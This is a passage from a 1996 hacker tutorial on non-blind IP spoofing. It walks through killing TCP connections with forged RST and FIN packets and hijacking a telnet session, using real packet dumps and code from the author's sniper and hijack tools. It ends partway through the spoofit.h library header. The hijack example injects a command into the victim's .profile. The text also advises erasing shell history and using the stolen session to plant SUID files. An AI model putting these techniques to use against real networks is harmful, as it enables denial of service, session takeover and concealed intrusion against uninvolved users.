they are not commercial (i.e. FREE), and you give me the credits for it.


1. Short explanation of some words
----------------------------------

This is a short explanation of some words you might see in the
text/source. You probably know all this, but I put it in here anyway.

Sniffit
My favourite Packet Sniffer, all sniffed sequences in this
document where created with it. Sniffit can be obtained from:
http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
Off course any other decent sniffer will do (but this one wears my
personal marks and approval).
(At time of writing a pre-release 0.3.2)

IP-spoofing (further referenced to as spoofing)
The forging of IP packets
NOTE that not only IP based protocols are spoofed.
NOTE that spoofing is also used on a constructive base (LAN spoofing,
not discussed here).
NOTE that I don't use it on a constructive base ;)

Non-blind spoofing
Using the spoofing to interfer with a connection that sends packets
along your subnet (so generally one of the 2 hosts involved is located
on your subnet, or all data traffic has to be passing your network
device,... you might consider taking a job at some transatlantic route
provider).

Blind spoofing
Using the spoofing to interfer with a connection (or creating one),
that does not send packets along your cable.


2. Description of sourcecode
----------------------------

2.1 Source included
-------------------
spoofit.h
The include file that provides some easy to use spoofing functions.
To understand the include file and it's functions, read the header of
that file for use of the C functions.

*.c
Example programs (on the use of spoofit.h) that are discussed in this
document.
Details on these programs are included in the appropriate sections.

sniper-rst.c
Basic TCP connection killer.
(denial-of-services)

sniper-fin.c
Basic TCP connection killer.
(denial-of-services)

hijack.c
Simple automated telnet connection hijacker.

2.2 Programmer notes
--------------------

These programs are just examples. That means, they could be improved a
lot. Because I wanted to keep them short and leave some stuff to your
imagination, they are very simple.
However they all work and are a good starting point.


3. TCP/IP (UDP) in an hazelnutshell
-----------------------------------

Because it has been explained enough in 'Phrack Volume Seven, Issue
Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of
documentation available on the subject I will only repeat some things
very briefly. (Please read the phrack #48 file or any other document on
the subject before reading this).

A connection is fully defined with 4 parameters, a source host and port,
and a destination host and port.

When you make a connection, data is send in packets. Packets take care of
low level trafic, and make sure the data arrives (sometimes with special
error handling). The spine of most networks is the IP protocol version 4.
It is totally independent of all hardware protocols.

TCP and UDP are higher level protocols wrapped up in IP packets.

All those packets consist of a header and data.

IP header contains (amongst other things): IP of source and destination
hosts for that packet, and the protocol type of the packet wrapped up in
it. (TCP=6, UDP=17, etc.).

UDP packets contain (amongst other things): port number of source and
destination host. UDP has no such thing as SEQ/ACK, it is a very weak
protocol.

TCP packets contain (amongst other things): port number of source and
destination host, sequence and acknowledge numbers (further refered to as
SEQ/ACK), and a bunch of flags.
SEQ number: is counted byte per byte, and gives you the number of the
NEXT byte to be send, or that is send in this packet.
ACK number: is the SEQ number that is expected from the other host.
SEQ numbers are chosen at connection initiation.

I said is was going to be short... If you didn't understand the above
text, read up on it first, because you won't understand sh!t of the rest.


4. Non-blind spoofing
---------------------

4.1 Know what you are doing
---------------------------

The concept of non-blind spoofing (NBS further in this doc) is pretty
simple. Because packets travel within your reach, you can get the current
sequence and acknowledge (SEQ/ACK further in this doc) numbers on the
connection.
NBS is thus a very easy and accurate method of attack, but limited to
connections going over your subnet.
In spoofing documentation these attacks are sometimes ommited, because
they are mostly 'denial-of-service' attacks, or because people don't
realise the advantage a spoof (in particulary a hijack) can have above
simple password sniffing.

Spoofing in generally is refered to as a verry high level of attack. This
refers to blind spoofing (BlS further in this doc), because NBS is
kidstuff for a competent coder.

4.2 SYN flooding
----------------

Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of
18'. I won't waste much time on it.

Setup:
host A &lt;-----][----------X---------------&gt;host B
|
host S &lt;-----------------/

Concept:
Host S impersonates SYN (connection init) coming from host A, to host B.
Host A should be unreachable (e.g. turned off, non existant,...).
B sends out the second packet of the 3 way TCP handshake. Host B will now
wait for response of host A.
If host A is reachable it will tell host B (with a reset: RST) that it DID NOT
inititate a connection, and thus host B received a bogus packet. (In that case
host B will ingnore the SYN, and *normally* nothing will happen)
So if A is unreachable, B will wait for response some time.
When doing multiple attacks, the backlog of host B is going to be exceeded
and host B will not except new connections (read on TCP bugs for
additional features ;) for some time.

4.3 Connection Killing
----------------------

Setup:
host A &lt;------X-------------------------&gt;host B
| A,B have a TCP connection running
host S &lt;------/ A,S on same subnet

(setup is the same in both cases)

Use:
Clearing mudders of your net, annoying that dude typing an important
paper, etc... plain fun.

4.3.1 Using reset (RST)
-----------------------

Concept:
TCP packets have flags which indicate the status of the packet, like RST.
That is a flag used to reset a connection. To be accepted, only the
sequence number has to be correct (there is no ACK in a RST packet).
So we are going to wait for packets in a connection between A and B.
Assume we wait for packets to A. We will calculate (from B's packets)
the sequence number for A's packets (from B's ACK's), and fire a bogus RST
packet from S (faking to be A) to B.

An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)

(This is a good example of how things not always go as you want, see
below for a solution)
1) connection running...
we wait for a packet to get current SEQ/ACK (A-&gt;B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679
FLAGS: -AP--- Window: 3400
(data removed because irrelevant, 2 bytes data)

2) This is the ACK of it + included data (witch causes SEQ number to
change, and thus messing up our scheme, because this came very fast.)
(B-&gt;A)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8
FLAGS: -AP--- Window: 2238
(data removed because irrelevant, 2 bytes data)

3) ACK of it. (A-&gt;B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B
FLAGS: -A---- Window: 3400
(data removed because irrelevant)

4) further data (B-&gt;A)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD767B ACK (hex): 57E1F2A8
FLAGS: -AP--- Window: 2238
(data removed because irrelevant)

5) ACK of it (A-&gt;B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691
FLAGS: -A---- Window: 3400

6) Now we get 2 RST packets. How do you explain that? Well, the first reset
packet has been buffered somewhere on our system, because the ethernet
segment was busy when we wanted to send it. This is the 'unexpected
thing' I discussed above, here we are lucky, the data stream cooled down
so fast.
When it doesn't cool down so fast, we could miss our RST (or the
connection will be killed a little later then when we wanted), you'll see
some idea's on how to fix that problem.

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7679 FLAGS: ---R--


TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7691 FLAGS: ---R--
(This was the packet that killed the connection)

Discussion of the program:

The discussion here is a bit weird , that is because 'sniper-rst.c' is
not designed to be an optimal killer, merly to be an example.
We have the problem of speed here. We miss some packets what causes those
resends. So we would design a better 'sniper' if we do the following:
- use blocking IO (not necessarilly, because the RST killer would
loose some of it's beauty (looping), this is dealt
with in the FIN killer example. Blocking is a
little faster when a lot of packets come after
each other.)
- multi-packet firing... fire more packets with incremented SEQ.
(this is commented in the source)
- waiting for a pure ACK packet (no data), because otherwise you
risk to much of getting mid transmission and not being fast enough.
(disadvantage is the 'waiting period' before the connection is
killed)

NOTE these examples were done on non-loaded networks, with non-loaded
servers, what makes it a worst case scenario for speed problems.

4.3.2 Closing a connection (FIN)
--------------------------------

Concept:
An other flag is FIN and says: "no more data from sender".
This flag is used when closing a connection down the normal legit way. So
if there was a way to make a packet that is accepted by one of the two
hosts, this host would believe the 'sender' didn't have any data left.
Following (real) packets would be ignored as they are considered bogus.
That's it, because we can sniff the current SEQ/ACK of the connection we
can pretend to be either host A or B, and provide the other host with
CORRECT packetinformation, and an evil FIN flag.
The beauty of it all is, that after a FIN is send the other host always
replies with one if it is accepted, so we have a way to verify our
killing, and can be 100% sure of success (if for some reason we missed a
SEQ or ACK, we can just resend).
RST killing is more popular and is prefered, but I've put this in as an
example, and I like it myself.


An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)

1) connection is running....
sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072'
and waits for a packet to take action (we need to get SEQ/ACK)
(mind you switching host A and B would be the same, only S would be
impersonating A instead of B)
suddenly a packet arrives... (A-&gt;B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98B ACK (hex): 69C5473E
FLAGS: -AP--- Window: 3400
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3
9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E &gt;
50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A .
~~~~~~~~~ &gt; 2 data bytes

2) sniper detected it, and sends a bogus packet. (S as B -&gt; A)
We calculate our SEQ as: ACK of (A-&gt;B) packet
We calculate our ACK as: SEQ of (A-&gt;B) packet + datalength of that packet
(19C6B98B + 2 = 19C6B98D)
(so we tell A, we received the last packet, and will not transmit
further data)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
SEQ (hex): 69C5473E ACK (hex): 19C6B98D
FLAGS: -A---F Window: 7C00
(data removed because irrelevant)

3) host A now says: 'okay, you end the session, so here is my last data'
(A-&gt;B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98D ACK (hex): 69C5473E
FLAGS: -AP--- Window: 3400
(data removed because irrelevant)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B998 ACK (hex): 69C5473F
FLAGS: -A---- Window: 3400
(data removed because irrelevant)

4) host A now has flushed its buffer and on his turn FIN's the connection.
(A-&gt;B)
sniper, intercepts this packet and now knows the hosts fell for the
spoof and the killing was a success!
(host A will no longer accept any data)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B998 ACK (hex): 69C5473F
FLAGS: -A---F Window: 3400
(data removed because irrelevant)

5) We impersonated B, making A believe we had no further data. But B
doesn't know that and continues to send packets.
(B-&gt;A)
host A has that connection closed, and thus thinks the real packets of
B are spoofed (or at least bogus)! So host A sends some reset packets
(RST).

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
SEQ (hex): 69C5473E ACK (hex): 19C6B98D
FLAGS: -A---- Window: 3750
(data removed because irrelevant)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98D FLAGS: ---R--
(data removed because irrelevant)

6) This goes on for a couple of packets.


Discussion of the program (numbers correspond with those of 'An Actual
Attack'):

1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}

We use wait_packet on a non blocking socket. This way we can enable a
10 seconds timeout. This functions returns when the correct packet
has been delivered (or timeout).

2) sp_seq=pinfo.ack;
sp_ack=pinfo.seq+pinfo.datalen;
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
sp_seq,sp_ack,ACK|FIN);

We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we
don't send any data with it, our buffer is set to NULL and datalength
to 0.
NOTE together with FIN, you need to enable ACK.

3) N/A

4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
if(stat&gt;=0)
{printf("Killed the connection...\n");
exit(0);}

We wait for a FIN packet (note the FIN in wait_packet). We use a 5
sec. timeout, if the function returns and stat&gt;=0 (-1 on timeout), we
know our attempt was successfull.

5) N/A

6) N/A

NOTE We can have the same problem here as with the RST killer. But didn't
have it here, because the packet we responded upon was the end of a
data stream (in fact it was an echo from a shell command)

4.3.3 Improving
---------------

Except from multipacket firing, it is advised to launch 2 attacks (one in
both ways). This illiminates one side oriented connections to be handled
optimally. I think of things like downloading data, which is a one way
data-flow, it is much easier sending a RST from the (spoofed) receiver to
the sender, then the other way around.
Those 2 attacks could both impersonate host A and B, and thus giving is 4
times more chance of a succesfull kill.
I'll leave further experimenting up to you (use your imagination to handle
different situations).

4.4 Connection Hijacking
------------------------
Setup:
host A &lt;------X-------------------------&gt;host B
| A,B have a TCP connection running (TELNET)
host S &lt;------/ A,S on same subnet

Concept:
(suppose a TELNET from A (client) to B (server))
TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B
trusts the packets from A because of its correct SEQ/ACK numbers.
So if there was a way to mess up A's SEQ/ACK, B would stop believing A's
real packets.
We could then impersonate to be A, but using correct SEQ/ACK numbers
(that is numbers correct for B).
We would now have taken over the connection (host A is confused, B thinks
nothings wrong (almost correct, see 'actual attack'), and S sends
'correct' data to B).
This is called 'Hijacking' a connection. (generally hijacking a TELNET session,
but same could be done woth FTP, RLOGIN, etc...)
How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data
packet into the stream at the right time (S as A-&gt;B), the server B would
accept this data, and update ACK numbers, A would continue to send
it's old SEQ numbers, as it's unaware of our spoofed data.

Use:
I allready hear you wiseguys yelling: "Hey dude, why hijack a connection
if you can sniff those packets anyway??"
Well, anybody heared of One Time Passwords, Secure Key?? Case closed....
(S/Key: server challenges client, client and server calculate a code from
the challenge and password, and compare that code. The password itself is
never send on the cable, so you can't sniff sh!t).
(OTP: server has a list of passwords, once one is used, it is destroyed,
so sniffing gets you a password that has 'just' expired ;)
(ALL types of identification that happen at connection (encrypted or not,
trusted or not), and don't use encrypted data transfer, are vulnerable to
'hijacking'.)

An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
(suppose a TELNET from A (client) to B (server))
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)

1) connection running...
we look with sniffit, and see he's busy in a shell, we start 'hijack'
on host S as 'hijack 166.66.66.1 2035 111.11.11.11'
a packet containing from (A-&gt;B) is detected... hijack takes action...
(A-&gt;B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EA ACK (hex): C34A67F6
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 .
50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l
~~~~

2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!)
(you gotta know what you are doing)
(B-&gt;A)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A67F6 ACK (hex): 5C8223EB
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B .
9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB .
50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l
~~~~

3) A simple ACK from host A to B responding to that echo. Because we know
this can come, and we know a simple ACK doesn't contain data, we don't
need this for SEQ/ACK calculation.

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -A---- Window: 7C00
(data removed because irrelevant)

4) Now we impersonate further data (following packet 1). (S as A -&gt; B)
We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B,
because we have to be as fast as possible, and packet 2 could be slow.
We send some backspaces and some enters. To clean up the command line.
We will probably still get some error message back from the shell.
But we handle that too! (see sourcecode)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F6
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 .
50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 .
0A . 0A .

5) This is the echo of our spoofed data. Look at ACK. (B-&gt;A)
5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a
success)
NOTE that at this point the connection is ours, and A's SEQ/ACK
numbers are completely f#cked up according to B.

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A67F7 ACK (hex): 5C8223F5
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
45 E 00 . 00 . 3C &lt; B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B .
9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 .
50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H
5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A .

6) Hijack will now try to get on track of SEQ/ACK numbers again, to send
the data we want to be executed.
NOTE each time a packet 'out of numbering' arrives the host should
answer with correct SEQ/ACK, this provides us with the certainty
that a lot of packets are going to be send with correct (and not
changing) SEQ/ACK nrs. (this is where the mechanism of getting our
numbers back straight is based upon)
NOTE it's at this point the real TELNET client's session hangs, most
people ignore this and re-login after a few secs, accepting the
accident as Murphy's law.
(Well it *can* happen without any spoofing involved)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -AP--- Window: 7C00
(data removed because irrelevant)


TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C8223F5
FLAGS: -A---- Window: 2238
(data removed because irrelevant)


TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -AP--- Window: 7C00
(data removed because irrelevant)


TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C8223F5
FLAGS: -A---- Window: 2238
(data removed because irrelevant)

7) We are back on track (or at least hijack is, because this is going
very fast). And we fire off our faked bash command.

echo "echo HACKED" &gt;&gt; $HOME/.profile&lt;ENTER&gt;

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223F5 ACK (hex): C34A680B
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23
45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B .
50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c
68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E &gt; 3E &gt; 24 $ 48 H 4F O
4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 .

8) now we wait for this data to be confirmed.
ACK = 5C8223F5 + 025 (=37 bytes)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C82241A
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040
(data removed because irrelevant)

9) The connection runs on. Now you can execute more commands (just stay
on track of SEQ/ACK), and even finnish the connection (with the same
mechanism of sniper, or with sniper itself... here FIN is recommended).
NOTE: here it is important to be in a shell. But if you have been
watching someone, and you notice he's always directly going to
'pine' and you can't get inbetween on time.
NO PROBS.... just make a cleanup string that cleans up
'pine' and puts you back in the shell. (some control chars,
hotkeys, whatever....)
NOTE: if you clean up the .sh_history of .bash_history (whatever) this
attack is one of the nicest there is. Another advantage above
sniffing.
NOTE: Noone says you have to make a .rhosts file (rlogin and
family might be disabled), you can change permissions, put
stuff SUID, put it public, install stuff, mail, etc..

Discussion of the program (numbers correspond with those of 'An Actual
Attack'):

1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);

Waiting for actual data (PSH is always used for packets containing
data in interactive services like TELNET)

2) N/A

3) N/A

4) sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,
23,sp_seq,sp_ack,ACK|PSH);

We recalculate the sequence number (using SEQ and datalength of packet 1)
an we send a spoofed packet with ACK and PSH flag, containing the
cleanup data in to_data.

5) while(count&lt;5)
{
wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH;
else count++;
};

We wait for a confirmation that our spoofed sequence is accepted. We
expect a packet with an ACK set (PSH or not). It should come within 5
packets, we use this limit, because we should be able to handle some
previous ACK packets!
NOTE we don't check SEQ nrs, because we have no clue of what they are
going to be (data might have been send our way, or not).

6) while(count&lt;10)
{
old_seq=serv_seq;
old_ack=serv_ack;
wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P,
ACK,0);
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};

To get back on track, we try to receive 2 ACK packets without data
with the same SEQ/ACK. We know enough packets will be send as a
response to incorrect packets from the confused host A.
This is how we get back on track.
NOTE In a case where A completely gave up, simple spoof a packet with
incorrect SEQ/ACK to get the correct numbers back.

7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH);

Pretty clear....

8) while(count&lt;5)
{
wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};

and again waiting for confirmation.

NOTE after the above attack, hijack had produced the following output:

Starting Hijacking demo - Brecht Claerhout 1996
-----------------------------------------------

Takeover phase 1: Stealing connection.
Sending Spoofed clean-up data...
Waiting for spoof to be confirmed...
Phase 1 ended.

Takeover phase 2: Getting on track with SEQ/ACK's again
Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex)
Phase 2 ended.

Takeover phase 3: Sending MY data.
Sending evil data.
Waiting for evil data to be confirmed...
Phase 3 ended.

4.5 Other
---------

This list is far from complete, I'm sure you can think of other nice things
to do with this information, think, experiment and code!


5. The source code
------------------

---=[ spoofit.h ]=------------------------------------------------------------
/**************************************************************************/
/* Spoofit.h - Include file for easy creating of spoofed TCP packets */
/* Requires LINUX 1.3.x (or later) Kernel */
/* (illustration for 'A short overview of IP spoofing') */
/* V.1 - Copyright 1996 - Brecht Claerhout */
/* */
/* Purpose - Providing skilled people with a easy to use spoofing source */
/* I used it to be able to write my tools fast and short. */
/* Mind you this is only illustrative and can be easily */
/* optimised. */
/* */
/* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t &gt;/dev/null */
/* */
/* Disclaimer - This file is for educational purposes only. I am in */
/* NO way responsible for what you do with this file, */
/* or any damage you or this file causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* If you know a little about your OS, shouldn't be to hard */
/* to port. */
/* */
/* Important note - You might have noticed I use non standard packet */
/* header struct's. How come?? Because I started like */
/* that on Sniffit because I wanted to do the */
/* bittransforms myself. */
/* Well I got so damned used to them, I keep using them, */
/* they are not very different, and not hard to use, so */
/* you'll easily use my struct's without any problem, */
/* this code and the examples show how to use them. */
/* my apologies for this inconvenience. */
/* */
/* None of this code can be used in commercial software. You are free to */
/* use it in any other non-commercial software (modified or not) as long */
/* as you give me the credits for it. You can spread this include file, */
/* but keep it unmodified. */
/* */
/**************************************************************************/
/* */
/* Easiest way to understand this library is to look at the use of it, in */
/* the example progs. */
/* */
/**** Sending packets *****************************************************/
/* */
/* int open_sending (void) */
/* Returns a filedescriptor to the sending socket. */
/* close it with close (int filedesc) */
/* */
/* void transmit_TCP (int sp_fd, char *sp_data, */
/* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */
/* char *sp_source, unsigned short sp_source_port, */
/* char *sp_dest,unsigned short sp_dest_port, */
/* unsigned long sp_seq, unsigned long sp_ack, */
/* unsigned short sp_flags) */
/* fire data away in a TCP packet */
/* sp_fd : raw socket filedesc. */
/* sp_data : IP options (you should do the padding) */
/* TCP options (you should do the padding) */
/* data to be transmitted */
/* (NULL is nothing) */
/* note that all is optional, and IP en TCP options are*/
/* not often used. */
/* All data is put after eachother in one buffer. */
/* sp_ipoptlen : length of IP options (in bytes) */
/* sp_tcpoptlen : length of TCP options (in bytes) */
/* sp_datalen : amount of data to be transmitted (bytes) */
/* sp_source : spoofed host that"sends packet" */
/* sp_source_port: spoofed port that "sends packet" */
/* sp_dest : host that should receive packet */
/* sp_dest_port : port that should receive packet */
/* sp_seq : sequence number of packet */
/* sp_ack : ACK of packet */
/* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */
/* */
/* void transmit_UDP (int sp_fd, char *sp_data, */
/* int sp_ipoptlen, int sp_datalen, */
/* char *sp_source, unsigned short sp_source_port, */
/* char *sp_dest, unsigned short sp_dest_port) */
/* fire data away in an UDP packet */
/* sp_fd : raw socket filedesc. */
/* sp_data : IP options */
/* data to be transmitted */
/* (NULL if none) */
/* sp_ipoptlen : length of IP options (in bytes) */
/* sp_datalen : amount of data to be transmitted */
/* sp_source : spoofed host that"sends packet" */
/* sp_source_port: spoofed port that "sends packet" */
/* sp_dest : host that should receive packet */
/* sp_dest_port : port that should receive packet */
/* */
/**** Receiving packets ***************************************************/
/* */
/* int open_receiving (char *rc_device, char mode) */
/* Returns fdesc to a receiving socket */
/* (if mode: IO_HANDLE don't call this twice, global var */
/* rc_fd_abc123 is initialised) */
/* rc_device: the device to use e.g. "eth0", "ppp0" */
/* be sure to change DEV_PREFIX accordingly! */
/* DEV_PREFIX is the length in bytes of the header that */
/* comes with a SOCKET_PACKET due to the network device */
/* mode: 0: normal mode, blocking, (read will wait till packet */
/* comes, mind you, we are in PROMISC mode) */
/* IO_NONBLOCK: non-blocking mode (read will not wait till */
/* usefull for active polling) */
/* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
/* (IO_HANDLE is not recommended to use, as it should be */
/* modified according to own use, and it works bad on heavy */
/* traffic continuous monitoring. I needed it once, but left it */
/* in to make you able to have a look at Signal handled IO, */
/* personally I would have removed it, but some thought it */
/* doesn't do any harm anyway, so why remove... ) */
/* (I'm not giving any more info on IO_HANDLE as it is not */
/* needed for the example programs, and interested people can */
/* easilythey figure the code out theirselves.) */
/* (Besides IO_HANDLE can only be called ONCE in a program, */
/* other modes multiple times) */
/* */
/* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */
/* unsigned char *proto) */
/* This waits for a packet (mode default) and puts it in buffer or */
/* returns whether there is a pack or not (IO_NONBLOCK). */
/* It returns the packet length if there is one available, else 0 */
/* */
/* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */
/* char *wp_source, unsigned short wp_source_port, */
/* char *wp_dest, unsigned short wp_dest_port, */
/* int wp_flags, int wait_time); */
/* wp_fd: a receiving socket (default or IO_NONBLOCK) */
/* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */
/* ACK, flags, datalen of that packet. For further packet */
/* handling see the examples. */
/* struct sp_wait_packet { */
/* unsigned long seq,ack; */
/* unsigned short flags; */
/* int datalen; */
/* }; */
/* wp_source, wp_source_port : sender of packet */
/* wp_dest, wp_dest_port : receiver of packet */
/* wp_flags: flags that should be present in packet.. (mind you there */
/* could be more present, so check on return) */
/* note: if you don't care about flag, use 0 */
/* wait_time: if not zero, this function will return -1 if no correct */
/* packet has arrived within wait_time secs. */
/* (only works on IO_NONBLOCK socket) */
/* */
/* void set_filter (char *f_source, unsigned short f_source_port, */
/* char *f_dest, unsigned short f_dest_port) */
/* (for use with IO_HANDLE) */
/* Start the program to watch all trafic from source/port to */
/* dest/port. This enables the updating of global data. Can */
/* be called multiple times. */
/* */
/* void close_receiving (void) */
